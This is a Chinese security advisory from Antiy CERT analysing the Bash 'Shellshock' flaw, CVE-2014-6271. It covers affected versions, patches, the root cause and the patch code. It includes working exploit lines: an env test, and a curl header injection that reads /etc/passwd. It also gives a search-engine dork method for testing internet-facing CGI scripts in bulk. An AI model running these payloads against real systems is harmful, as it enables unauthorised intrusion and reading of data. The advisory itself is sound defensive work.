? Bash远程代码执行漏洞“破壳”(CVE-2014-6271)分析 | 下一代反病毒引擎创造者 万博体育app打开后黑屏_万博app苹果版下载不了_万博app如何用邮箱找回账号

Bash远程代码执行漏洞“破壳”(CVE-2014-6271)分析

最后一次更新时间: 2014年9月26日 14点30分
安天安全研究与应急处理中心(Antiy CERT)



时间

版本

更新内容

2014925

10

第一版本

预警版本,进行漏洞中文命名、简要原理说明、影响平台与范围、快速解决方案,及给用户的建议等。

2014925

1250

第二版本

增加漏洞的本地验证、漏洞带来的影响、更新影响平台及解决方案等。

2014926

140

第三版本

增加远程漏洞验证、利用漏洞进行远程代码执行原理分析、漏洞检测方法等。

2014926

1430

第四版本

增加漏洞远程普查方式、漏洞的补丁代码分析



一、???? 概述

2014924bash被公布存在远程代码执行漏洞,漏洞会影响目前主流的操作系统平台,包括但不限于RedhatCentOSUbuntuDebianFedora Amazon Linux OS X 10.10等平台,此漏洞目前虽然有部分系统给出了补丁,但因为漏洞修补的时效性,及漏洞的范围之大,且还存在一些没有发布补丁的问题,所以仍被定义为高危漏洞。

bash引自维基百科的描述为:"bashUnix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括LinuxMac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的CygwinMinGW,或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWareAndriod在上也有移植。"

?

二、???? 漏洞编号

CVE漏洞名称:CVE-2014-6271

中文漏洞名称:破壳

?

三、???? 发布时间

发布厂商

时间

链接

NVD

2014-09-24

2:48:04 PM

http://web.nvd.nist.gov/view/vuln/search-results?query=CVE-2014-6271&search_type=all&cves=on

Securityfocus

2014-09-24 12:00AM

http://www.securityfocus.com/bid/70103

exploit-db

2014-09-25

http://www.exploit-db.com/exploits/34765/

?

四、???? 部分主要漏洞影响平台及版本

操作系统

版本

解决方案

Red Hat Enterprise Linux

4 (ELS)

Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2

5

Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1

Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1

Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2

6

Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1

Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1

Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1

7

Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2

CentOS

5

bash-3.2-33.el5.1

6

bash-4.1.2-15.el6_5.1

7

bash-4.2.45-5.el7_0.2

Ubuntu

10.04

bash 4.1-2ubuntu3.1

12.04

bash 4.2-2ubuntu2.2

14.04

bash 4.3-7ubuntu1.1

Fedora

19

bash-4.2.47-2.fc19

20

bash-4.2.47-4.fc20

21

bash-4.3.22-3.fc21

Debian

4.1-3

4.1-3+deb6u1

4.2+dfsg-0.1

4.2+dfsg-0.1+deb7u1

4.3-9

4.3-9.1

Amazon Linux AMI

?

bash-4.1.2-15.19

Mac OS X

10.10

?

注:也可到http://ftp.gnu.org/pub/gnu/bash/进行下载。

五、???? 漏洞的影响范围

目前已验证Red Hat CentOS Ubuntu Fedora Amazon Linux OS X 10.10均拥有存在CVE-2014-6271漏洞的bash版本,以bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用bashUnixLinuxMac OS X,针对这些操作系统管理下的数据存在高危威胁。

目前抽样验证当前出厂预装的Andriod操作系统暂不支持ENV命令,可推测针对Andriod操作系统受到此漏洞影响的可能性较小。

?

?

六、???? 漏洞原理

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.cparse_and_execute函数中进行了输入的command进行了合法性的边界检测,将代码注入的可能性排除。在排除中主要用到了flags的两次判断和command的一次类型匹配,为了能够flags判断准确,在补丁中预先定义了SEVAL_FUNCDEFSEVAL_ONECMD两个标识作为判断依据。

此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。

/builtins/common.h

?#define SEVAL_FUNCDEF 0x080???????? /* only allow function definitions */

?#define SEVAL_ONECMD? 0x100???????? /* only allow a single command */

/builtins/evalstring.c

???? ????? if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)

???????? {

???????? ? internal_warning ("%s: ignoring function definition attempt", from_file);

???????? ? should_jump_to_top_level = 0;

???????? ? last_result = last_command_exit_value = EX_BADUSAGE;

???????? ? break;

???????? }

/builtins/evalstring.c

???? ?if (flags & SEVAL_ONECMD)

???????? break;

从阐述的漏洞原理可知,漏洞的根本原因存在于bashENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果达到远程代码执行的目的,必须要借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。例如,第三方服务程序apache2便可充当此媒介,其CGI组件满足远程访问并调用bashENV命令进行访问数据解析功能。具体如何实现,见下面的原理图:CVE-2014-6271漏洞实现远程代码执行原理图。

?

七、???? 漏洞验证方法

目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。

1.? 本地验证方法:

shell中执行下面命令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

执行命令后,如果显示Vulnerable CVE-2014-6271证系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。

1)? Linux Debian操作系统漏洞验证如下:

2)? 苹果操作系统(OS X 10.10)漏洞验证如下:

2.? 远程验证方法

a.? 模拟验证方法

此方法适合进行原理验证。

1)?? Ubuntu下安装及配置apache服务器

l? 安装apache2服务器

  ???????? #sudo apt-get install apache2

l? 配置apache2服务器

  ???????? 配置文件位于 /etc/apache2/sites-enabled/000-default

l? vi打开配置文件:

  ???????? #sudo vi /etc/apache2/sites-enabled/000-default

l? 修改其中两句为:

  ???????? DocumentRoot /var/www/html

ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/

2)?? 编写WEB服务端测试文件

l? 编辑服务端测试文件

#sudo vi /var/www/html/cgi-bin/test.sh

#!/bin/bash

echo "Content-type: text/html"

echo ""

l? 然后重启服务

#sudo /etc/init.d/apache2 restart

3)?? 远程测试

l? 测试命令如下:

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' 'http://IP地址/cgi-bin/test.sh' -I

??????? 命令中可改变a=`/bin/cat /etc/passwd`;echo $a为任意命令进行执行。

?

b.?????? 真实验证方法

此方法适合互联网管理部门进行互联网普查等。

1)?? 以搜索引擎进行可能存在漏洞的网站检索,下面以google检索为例:

检索:inurl:/cgi-bin/ filetype:sh

2)?? 将检索到的url进行提取,然后替换下面的“替换URL

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' '替换URL' -I

3)?? 如存在漏洞,便可复现模拟验证方法的结果,借此判断漏洞的范围及危害程度等。

八、???? 漏洞检测方法

可以应用本地与远程的漏洞验证方法进行脚本、程序或snot规则等的编写与配置,进而进行批量的操作系统平台的检测。

?

九、???? 漏洞可能会带来的影响

1.?? 此漏洞可以绕过ForceCommandsshd中的配置,从而执行任意命令。

2.?? 如果CGI脚本用bash编写,则使用mod_cgimod_cgidApache服务器会受到影响。

3.?? DHCP客户端调用shell脚本来配置系统,可能存在允许任意命令执行。

4.?? 各种daemonSUID/privileged的程序都可能执行shell脚本,通过用户设置或影响环境变量值,允许任意命令运行。

?

十、???? 针对此漏洞的建议

1.?? 按第七节中的漏洞验证方法进行验证判定,如确定存在漏洞,则针对第四部分给出的解决方案进行版本更新。

2.?? 更新bash源码,针对ENV命令实现部分,进行边界检查与参数过滤。严格界定函数定义范围,并做合法化的参数的判断。

十一、参考链接

?
  1. http://zh.wikipedia.org/wiki/Bash
  2. https://access.redhat.com/solutions/1207723
  3. http://lists.centos.org/pipermail/centos/2014-September/146099.html
  4. http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-6271.html
  5. http://seclists.org/oss-sec/2014/q3/650
  6. https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
  7. http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNYnF7WgVl
  8. https://security-tracker.debian.org/tracker/CVE-2014-6271

?

?

文章分享二维码:
?
?